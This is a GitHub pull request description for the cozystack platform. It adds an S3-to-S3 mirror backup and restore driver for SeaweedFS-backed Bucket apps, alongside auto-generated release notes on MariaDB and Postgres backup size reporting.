[cozystack/examples](https://github.com/cozystack/examples) - follow-up: - [ ] [cozystack/community](https://github.com/cozystack/community) - follow-up: ### Release note ```release-note fix(backups): MariaDB and CNPG (Postgres) backups stored in S3 now report `status.artifact.sizeBytes`: the size of the dump mariadb-operator uploaded, or the total size of the barman base backup (WAL archive excluded). A MariaDB backup takes the size of the one dump that falls inside its run on both the backup pod's and the object store's clock and inside no other finished run, and the size is left unset rather than set to 0 whenever it cannot be measured or attributed. Velero-based backups intentionally keep it unset. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Backup artifacts now report the stored size attributable to an individual MariaDB or CNPG backup when it can be determined. Shared or ambiguous storage may leave the size unset. * **Bug Fixes** * Improved handling of backup artifact creation and lookup errors, including retrying when an existing backup cannot be read and failing jobs when artifact creation is rejected. * **Documentation** * Clarified that an unset size means unknown; zero does not indicate an unknown size. <!-- end of auto-generated comment: release notes by coderabbit.ai -->
What this PR does
apps.cozystack.io/Bucket(SeaweedFS-backed S3 object storage provisioned through COSI) had no backup path. This adds astrategy.backups.cozystack.io/Bucketdriver that backs it up by copying objects S3-to-S3 into the platformcozy-backupsbucket and mirrors them back on restore. The engine has no operator-native Backup CRD and a logical bucket is not a CSI volume, so neither the operator-native nor the Velero/CSI patterns fit; an object copy is the faithful mechanism.Each BackupJob resolves the source
BucketClaim's COSI-assigned bucket name, provisions a read-onlyBucketAccessfor itself (the app needs no declared user), and runs a one-shot mirror Job that writes tocozy-backupsunder<namespace>/<bucket>/<backupjob>/, persisting a self-contained restore snapshot on theBackup. RestoreJob covers both flows: in-place (mirror the snapshot back over the live bucket, deleting objects the snapshot does not contain) and to-copy (into a separate, differently-named bucket, re-pointed at the target's own credentials). Point-in-time recovery does not apply — object storage keeps discrete snapshots with no continuous log to replay.The mirror runs the controller binary's new
s3-mirrorsubcommand built on the minio-go SDK, so the backup stack stays on permissive (Apache-2.0) dependencies rather than the AGPLmcclient, and the Job reuses the controller image instead of shipping a second one. It streams client-side by default and can attempt a same-endpoint server-side CopyObject where one credential is authorized on both buckets. The application chart is untouched; the integration lives in the driver, the shippedcozy-default-bucketstrategy, and thecozy-defaultBackupClass binding.Verified end-to-end on a live cluster: an honest data-integrity round-trip (write a sentinel object, back up, delete it, restore) confirmed the exact bytes returned through object storage for both in-place and to-copy restores. Also covered by Go unit tests on the driver's pure helpers and a Chainsaw round-trip under
hack/e2e-chainsaw/bucket-backup/.Screenshots
No UI changes.
Downstream repositories
Walked the trigger map against the diff file-by-file. No app is added or renamed under
packages/apps/packages/extra, novalues.schema.json/version-enum/default/release.prefixchanges, and noApplicationDefinitionorhack/layout changes. The new CRD is in thestrategy.backups.cozystack.iogroup; the Terraform provider hand-types onlyPackage/Plan/RestoreJoband carries every other*.cozystack.ioCRD as opaque JSON, so it keeps working unchanged.Release note
Summary by CodeRabbit
New Features
Documentation
Tests